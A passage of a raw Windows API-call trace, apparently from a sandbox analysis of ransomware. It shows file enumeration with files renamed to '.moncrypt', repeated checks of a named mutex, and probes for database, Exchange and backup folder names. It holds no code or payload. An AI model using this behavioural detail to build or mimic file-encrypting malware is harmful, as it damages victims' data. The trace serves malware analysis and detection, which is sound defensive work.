[0052.174] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.174] GlobalUnlock (hMem=0x440004) returned 0 [0052.174] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.174] GlobalUnlock (hMem=0x44000c) returned 0 [0052.174] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.174] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe808, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM.moncrypt", cAlternateFileName="LAYERS~1.MON")) returned 1 [0052.174] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.174] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.174] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.174] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.174] GlobalUnlock (hMem=0x44000c) returned 0 [0052.174] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.174] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.174] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.174] GlobalUnlock (hMem=0x44000c) returned 0 [0052.174] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.174] GlobalUnlock (hMem=0x440004) returned 0 [0052.174] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.174] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0052.174] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.174] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.174] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.174] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.174] GlobalUnlock (hMem=0x440004) returned 0 [0052.174] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.174] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.174] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.174] GlobalUnlock (hMem=0x440004) returned 0 [0052.175] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.175] GlobalUnlock (hMem=0x44000c) returned 0 [0052.175] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.175] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.175] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.175] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.175] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.175] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.175] GlobalUnlock (hMem=0x44000c) returned 0 [0052.175] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.175] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.175] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.175] GlobalUnlock (hMem=0x44000c) returned 0 [0052.175] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.175] GlobalUnlock (hMem=0x440004) returned 0 [0052.175] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.175] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaff7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.175] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.175] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.175] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.175] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.175] GlobalUnlock (hMem=0x440004) returned 0 [0052.175] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.175] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.175] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.175] GlobalUnlock (hMem=0x440004) returned 0 [0052.175] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.175] GlobalUnlock (hMem=0x44000c) returned 0 [0052.175] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.176] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaff7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.176] GetLastError () returned 0x12 [0052.176] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.176] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0052.176] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.176] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.176] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.176] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.176] GlobalUnlock (hMem=0x44000c) returned 0 [0052.176] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.176] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.176] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.176] GlobalUnlock (hMem=0x44000c) returned 0 [0052.176] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.176] GlobalUnlock (hMem=0x440004) returned 0 [0052.176] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.177] GlobalLock (hMem=0x440004) returned 0x550170 [0052.177] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.177] GlobalUnlock (hMem=0x440004) returned 0 [0052.177] GlobalLock (hMem=0x440004) returned 0x550170 [0052.177] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.177] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.177] GlobalUnlock (hMem=0x440004) returned 0 [0052.177] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.177] GlobalUnlock (hMem=0x44000c) returned 0 [0052.177] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.177] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL", len=0x3d | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL") returned 1 [0052.177] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.177] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.177] GlobalUnlock (hMem=0x44000c) returned 0 [0052.177] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.177] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.177] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.177] GlobalUnlock (hMem=0x44000c) returned 0 [0052.177] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.177] GlobalUnlock (hMem=0x440004) returned 0 [0052.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夌U壠U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.178] GetLastError () returned 0x3 [0052.179] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0052.179] GetLastError () returned 0x2 [0052.179] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0052.180] GetLastError () returned 0x2 [0052.180] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18?T\x18D")) returned 0xffffffff [0052.180] GetLastError () returned 0x2 [0052.180] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18몤R\x18j")) returned 0xffffffff [0052.181] GetLastError () returned 0x2 [0052.181] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18?T\x18q")) returned 0xffffffff [0052.182] GetLastError () returned 0x2 [0052.182] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0052.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뭼R企@\x18?T\x18y")) returned 0xffffffff [0052.182] GetLastError () returned 0x2 [0052.182] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.182] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0052.183] GetLastError () returned 0x2 [0052.183] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.183] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.183] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18?T\x18\x88")) returned 0xffffffff [0052.183] GetLastError () returned 0x2 [0052.183] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.183] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.183] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뭼R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.184] GetLastError () returned 0x2 [0052.184] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0052.184] GetLastError () returned 0x2 [0052.185] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a230, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.185] GlobalLock (hMem=0x440004) returned 0x550170 [0052.185] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.185] GlobalUnlock (hMem=0x440004) returned 0 [0052.185] GlobalLock (hMem=0x440004) returned 0x550170 [0052.185] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.185] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.185] GlobalUnlock (hMem=0x440004) returned 0 [0052.185] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.185] GlobalUnlock (hMem=0x44000c) returned 0 [0052.185] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\level\\") returned 0x3e [0052.185] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.185] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft 